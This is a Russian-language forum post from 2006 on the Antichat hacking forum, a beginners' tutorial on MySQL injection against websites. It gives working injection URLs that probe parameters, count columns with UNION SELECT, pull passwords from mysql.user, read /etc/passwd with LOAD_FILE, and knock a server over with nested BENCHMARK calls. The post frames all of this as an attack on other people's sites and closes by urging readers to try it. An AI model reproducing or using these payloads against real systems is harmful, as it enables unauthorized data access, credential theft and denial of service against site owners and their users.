Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
MySQL-injection для новичков |

12.03.2006, 01:10
|
|
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме: 1347867
Репутация:
408
|
|
MySQL-injection для новичков
Эта статья должна помочь новичкам с MySQL-injection
несмотря на большое колличество статей на эту же тему в Чужих Статьях решил все же
написать более доступную, так что не забрасывайте камнями =)
Итак.... Что же такое MySQL-injection вообще?
Само слово 'инъекция' означает вставку нужного нам кода
в скрипт. В данном случае это MySQL запрос. Прежде всего для того чтобы
юзать данную уязвимость надо иметь хоть какие то азы скуля...
Приступим к поэтапному анализу
Нахождение:
Первым делом находим на интересующем нас сайте скрипт, который
собственно выдает нам какую то инфу из базы, а так же для этого
использует входящий параметр. Ну вот например:
_http://www.xzkakoysite.com/list.php?id=7
Протестируем параметры на фильтрацию:
_http://www.xzkakoysite.com/list.php?id=7'
_http://www.xzkakoysite.com/list.php?id=fgdfnnvb
_http://www.xzkakoysite.com/list.php?id=8-1
или
_http://www.xzkakoysite.com/list.php?id=6%2B1
Последние два варианта - это в большинстве случаев 100% скуль-инж...
Анализируем
Ну для начала нас огорчает то, что все таки для проведения инъекции требуеться
сервер MySQL версии не ниже 4*, так как другие не поддерживают команду UNION
И так пробуем. Надо еще запомнить что иногда база может вернуть пустой запрос
и тогда мы не увидим никаких изменений, либо получим редирект на Index.php либо
еще какую нибудь гадость при ошибке 500
Для начала нам нужно угадать колличество полей. для этого используем запрос
_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null/*
потом
_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null/*
и так далее пока не получим правильный ответ от сервера. '/*' ставит в коменты
весь код после - это позволяет отбросить любой незапланированый нами скуль запрос дальше по коду.
так что ставим обязательно. вообщем немного помучавшись допустим мы
подобрали кол-во null.
Мы же не можем дописать код странички поэтому нам надо выбрать для себя то поле,
в которое мы, подменив данные, выведем пасс админа. для этого лучше взять какое нить
text поле, так как имеет найбольший размер типа данных. теперь подставляем любое слово
и смотрим на странице, где оно у нас отобразиться
_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,null,'lo l =)',null,null/*
Но тут есть много подводных камней.... Например кавычки могут экранироваться и т.д.
Тогда пробуем немного другой запрос
_http://www.xzkakoysite.com/list.php?id=7+union+select+1,2,3/*
Теперь определившись с местом поля, можно переходить к еще более интересному процессу...
подбор имен таблиц!... =)
Советую сразу пробовать что нить вроде pass, password, user, users и т.д.
Вообщем владея всей инфой можем составить запрос типа
_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,mysql.us er.password,null,null,null+from+mysql.user+limit+0 ,1/*
Ну думаю дальше разберетесь...
С помощью MySQL можно так же читать и локальные файлы
например
_http://www.xzkakoysite.com/list.php?id=7+union+select+null,LOAD_FILE('/etc/passwd'),null,null,null/*
Но это все если мы имеем достаточно прав
Вообще скуль инжекшн - очень опасная вещь. Можно даже составить DOS атаку
Например если использовать BENCHMARK. К примеру такой запрос
_http://www.xzkakoysite.com/list.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))
В качестве входного параметра безем дату (чтоб ковычек не содержало). Вообщем если примерно по расчету
10000000 запросов исполняеться за 5 сек(хотя это смотря какой сервер) то данный запрос будет
обрабатываться 50 сек... Пара таких запросов и сервер ляжет.
Дерзайте =))
Последний раз редактировалось LoFFi; 12.03.2006 в 16:09..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|